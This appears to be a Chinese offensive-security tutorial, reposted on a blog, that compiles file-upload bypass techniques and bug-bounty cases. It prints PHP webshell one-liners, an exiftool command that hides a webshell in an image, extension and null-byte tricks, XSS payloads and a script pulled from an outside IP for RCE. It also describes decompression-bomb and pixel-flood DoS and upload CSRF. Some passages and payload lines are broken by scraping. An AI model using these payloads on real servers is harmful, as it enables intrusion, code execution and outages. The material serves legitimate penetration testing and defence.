.hpp文件_文件上传漏洞另类绕过技巧及挖掘案例全汇总
文件上傳漏洞作為獲取服務器權限最快的方式,雖然相關資料很多,但很多人對上傳校驗方式、如何針對性繞過檢測、哪種上傳和解析的場景會產生危害等還是比較模糊。本文作一些闡述,然后補充一些除了上傳webshell的其他非常規挖掘姿勢,包括XSS、重定向、Dos、CSRF等等。
1、基礎知識:
? 要深入了解文件上傳,必須了解上傳屬性、常見文件的結構、圖形處理函數等內容。
1)? 報文特點:
? ?觀察文件上傳報文的特點:
Header中Content-Type特征有二:
1.multipart/form-data(form表單的enctype屬性,規定為二進制數據)
2.boundary字符串(作用為分隔符,以區分POST數據)
?POST內容特征有五:
1.Content-Disposition:form-data
2. name:input表單名
3.filename:文件名
4.Content-Type:定義文件的類型和網頁的編碼,決定瀏覽器將以什么形式、什么編碼讀取這個文件;
5.boundary:Content-Type的值前面加了兩個---
2)? 常見校驗規則
? ?現存常用的上傳校驗規則無非下面幾類:
1.客戶端javascript校驗(后綴名)
2.文件頭content-type字段校驗(image/gif):附帶參數
4.后綴名黑/白名單校驗:擴展名
5.文件內容頭校驗:GIF89a
6.文件內容校驗:文件信息,二次渲染
7.自定義正則校驗
3)一個澄清
? 文件上傳和文件解析是兩個過程,即使我們上傳的是php文件,但解析為圖片,訪問php文件會顯示“圖片無法顯示”;或者我們上傳的是jpg文件,但里面混有shell腳本,若被解析為php文件也會執行;又或者上傳處沒法繞過檢測,只能上傳jpg文件,但在其他功能處存在文件包含等功能,仍可執行成功。
? 還是回到安全的本質,上傳是“輸入”,那文件解析就是“輸出”,任何漏洞挖掘都需要結合輸入+輸出。
2、繞過技巧:
這里匯總一些實戰中較常用的繞過技巧:
1)后綴名黑名單
以下替換后綴也可以解析為shell:
php:.phtml,.phpt,.php3,.php3p
asp:.aspx,asmx,ashx,web.config
perl:.pl,.pm,.cgi,.lib
jsp:.jspx,.jsw,.jsv,.jspf
Coldfusion:.cfm,.cfml,.cfc,.dbm
另外可以配合操作系統的文件命名規則:
.php.,.php空格,.php:1.jpg,.php::$DATA等
這些后綴的文件會被windows系統自動去掉不符合規則符號后面的內容,從而只留下.php。
2)后綴名白名單
除了結合各種服務器解析特性,較常用的是Null Byte Injection空字節注入,插入空字節值的原因是某些應用程序服務器腳本語言使用c/c++庫來檢查文件名和內容。在C/C ++中,一行以/00結尾或稱為NullByte。因此,只要解釋器在字符串的末尾看到一個空字節,就會停止讀取,認為它已經到達字符串的末尾。
如,我們將要上傳的Happy.jpg的名稱更改為Happy.phpA.jpg,然后上傳文件,在Burp中捕獲請求,切換到Hex視圖。在字符串視圖中找到文件名。查看相應的Hex表,并將41('A')替換為00(為空字節)。結果字符串變為Happy.php(空).jpeg。由于php解釋器在內部使用C語言庫,它將停止讀取Happy.php后的文件名,文件將保存為Happy.php。
?另一種繞過白名單的方法是使用雙后綴:shell.php.jpg。
3)? 文件頭
主要是檢測文件內容開始處的文件幻數,各文件頭:
PNG:8950 4E 47
JPG:FFD8 FF E0 00 10 4A 46 49 46
GIF:4749 46 38 39 61
? 可在hex模塊進行編輯插入,后面加上shell代碼:
GIF89a; system($_GET['cmd']);# shellcode goes here ?>
4)? 文件內容
如果上傳表單不檢查文件擴展名但檢查文件的內容,這種情況下我們可以上傳一個圖片馬,結果將執行PHP代碼并省略JPG或GIF代碼,圖片馬的原理是不破壞文件本身的渲染情況下找一個空白區進行填充代碼,一般會是圖片的注釋區,可以使用copy命令或使用exiftool工具:
exiftool -Comment='<?php echo"
"; system($_GET['cmd']); ?>' file.jpg5)? 二次渲染
? 這是一種較高端的檢測,當我們把包含惡意代碼的圖片上傳,下載到本地之后發現代碼被刪除,只剩圖片信息,這就是后臺對圖片內容進行了二次渲染。相當于把原本屬于圖像數據的部分抓了出來,再用自己的API 或函數進行重新渲染,通常php使用的是GD庫。但仍可以繞過,基本方法是通過對比GD庫處理之前和之后的圖片數據,找出相同(未經處理)的數據插入惡意腳本。拿GIF舉例,使用的函數是imagecreatefromgif():
?未經渲染的數據:
?渲染后的數據:
? 發現EXIF數據在渲染之后發生了變化,但第四位行是空數據,而且沒有發現變化,可以在這里插入shell數據:
? ? ?經測試上傳后,shell腳本依然存在,成功繞過二次渲染。
? ? ?JPG原理類似,PNG稍復雜一點,了解PNG格式的話任意很多,可以將Web shell放入PLTE塊(CBC值)或IDAT塊來繞過PNG內容的渲染:
拓展思路,我們甚至可以在這種場景下圖片里插入script腳本造成xss攻擊:
http://example.org/images/test.png?zz=alert("thisis xss :(");
6)? 條件競爭
? ?很多上傳場景里會先將文件上傳到服務器,然后通過rename修改名稱再將原文件刪除,因此可以通過條件競爭的方式在文件刪除之前多線程訪問webshell。一般使用intruder同時發兩個包:上傳文件+訪問webshell地址:
8)其他技巧
A.多個分號繞過:
文件解析時,可能解析不到文件名,導致繞過。
Content-Disposition: form-data;name="file_x";;;filename="test.php"
B.多加一個filename(HPP):
C.多個Content-Disposition:
D.更多
使用超長文件名、構造更多的點、符號等都是可以嘗試的技巧,有時會碰到上傳文件無法抓到包的情況,那可能是上傳時轉化為了流文件,建議放棄。
3、另類實戰挖掘案例:
1、Upload+XSS
文件上傳和XSS在實際測試中,有很多組合技。如果不能實現上傳shell,
不妨試試構造XSS:
Twitter上傳HTML文件
白名單限制不嚴,上傳后綴為jpg的html文件,抓包改回后綴名并修改content type 為text/html,點擊上傳的html文件成功彈框:
其實還可以構造另一種漏洞:開放重定向:
這里將Content-Type設置為HTML類型,并在html文件前添加文件頭以繞過
后端的png文件內容檢測。
Svg文件上傳觸發XSS:
擴展名白名單允許上傳SVG文件,SVG可以在其代碼中包含HTML元素,構造SVG文件:
上傳SVG文件:
右鍵——>屬性找到文件地址,尋找觸發位置:
導致存儲型XSS:
3)上傳文件名XSS
? 這類xss案例較多,某些場景會把文件名直接回顯在界面上,還有報錯信息可能會包含上傳的文件名,這樣就可構造包含xss payload的文件名進行xss:
? 還可進一步利用進行xssi,如文件名改為:
.png
?? 瀏覽器會把base64 encoded數據解碼為:
aob('Running POC
data-5ce-guid="c1a7cec1-0b2c-eb11-8da9-e4434bdf6706" data-src="http://img-02.proxy.5ce.com/view/image?&type=2&guid=c9a7cec1-0b2c-eb11-8da9-e4434bdf6706&url=http://159.203.190.123/w9rfas89eufs9e8fu98ewufjwefiojwe_s1058g-/wp-rce.js" data-lazy="true" src="http://thumb.5ce.com/images/loading.gif">');
??js文件的內容對后端PHP進行操作,從而造成RCE,這里在知道路徑的前提下可以把hello.php改為<?php phpinfo();重定向到此文件:
Tip:XSS在很多場景下如果利用得當,也可以達到RCE的效果,不可小覷。
2、DOS攻擊
1)上傳超大圖片導致DOS
? 頭像上傳處上傳一張超大圖片(4032*3024)14.5MB,觀察服務器CPU,php-fpm進程占了100%,原因是第三方VCard代碼將屬性值拆分為75個字符。
Tips:嘗試上傳超大文件,可能造成報錯信息利用/Dos等攻擊
2)Pixel floodattack
? 像素洪水攻擊,需要準備一個5kb,260x260像素的圖像。將260x260值改為0xfafa x 0xfafa(64250x64250像素)進行交換。圖像一旦上傳,服務器通過將“整個圖像”加載到內存中,它會嘗試將4128062500像素分配到內存中,從而充斥內存并導致DoS。
?漏洞原因是一個負責上傳和調整大小的部件Paperclip,由于給定的尺寸和實際尺寸不同,會使得處理圖片時發生混亂。這個圖片會讓windows圖片查看器在打開時發生同樣的問題。
同樣的問題還有Hackerone的一例:上傳圖片的限制為:圖像大小1 MB,圖像尺寸:2048x2048px;上傳由40k 1x1圖像組成的GIF則會造成dos攻擊,原因在于未檢查文件大小/(寬*高)的數值。
3)PNG 解壓DOS
PNG文件由多個塊組成,其中一個可選的輔助塊稱為zTXT(ztxt),此塊允許使用zlib庫存儲壓縮文本數據。
使用一個大小為50MB的文件,填充零,將它壓縮到大約49 KB”,因此將大量數據存儲在一個小的PNG(小于1 MB)。當發送給HackerOne時,會造成服務超時,這同樣是Paperclip 的問題。
3、Upload+CSRF
用戶的頭像上傳功能處沒有CSRF保護,URL為:
https://chaturbate.com/photo_videos/photoset/detail/[username]/[set_id]/
通過查看或遍歷id值,使用xhr構造csrf poc模擬發包,實現任意用戶上傳圖片,從而影響賬戶的完整性。
4、上傳其他文件:
1)js文件覆蓋
跨目錄上傳惡意js文件覆蓋原js文件:
Tips:某些場景下對上傳路徑未做校驗,導致上傳文件到任意路徑。
2)xml文件上傳XXE
? 后續XXE漏洞中具體講解。
5、上傳路徑泄露:
??可以使用構造畸形文件名/路徑、不可解析的文件名、跨目錄(/\..)、破壞結構、上傳過大文件等方式盡可能使得返回異常exception報錯信息:
? 除此之外,文件上傳也可涉及到SSRF、反序列化、目錄遍歷、本地文件泄露、越權上傳等漏洞。總之多觀察上傳環境的特點,不要思維固化,從漏洞本質出發,多嘗試可能就有新發現。
4、挖掘思路
?上傳漏洞挖掘思路總結起來分三步:
? 1、首先嘗試直接上傳腳本文件進行RCE;
? 2、若存在過濾,對于檢測機制進行猜測,確定機制后嘗試繞過;
? 3、若無法繞過上傳,插入腳本后尋找解析/文件包含漏洞;
? 4、換其他類型文件:html、js、svg等轉到挖掘其他漏洞。
總結
以上是生活随笔為你收集整理的.hpp文件_文件上传漏洞另类绕过技巧及挖掘案例全汇总的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 我国首颗超百 Gbps 容量通信卫星,中
- 下一篇: 重型火箭之躯!我国成功研制 10 米级直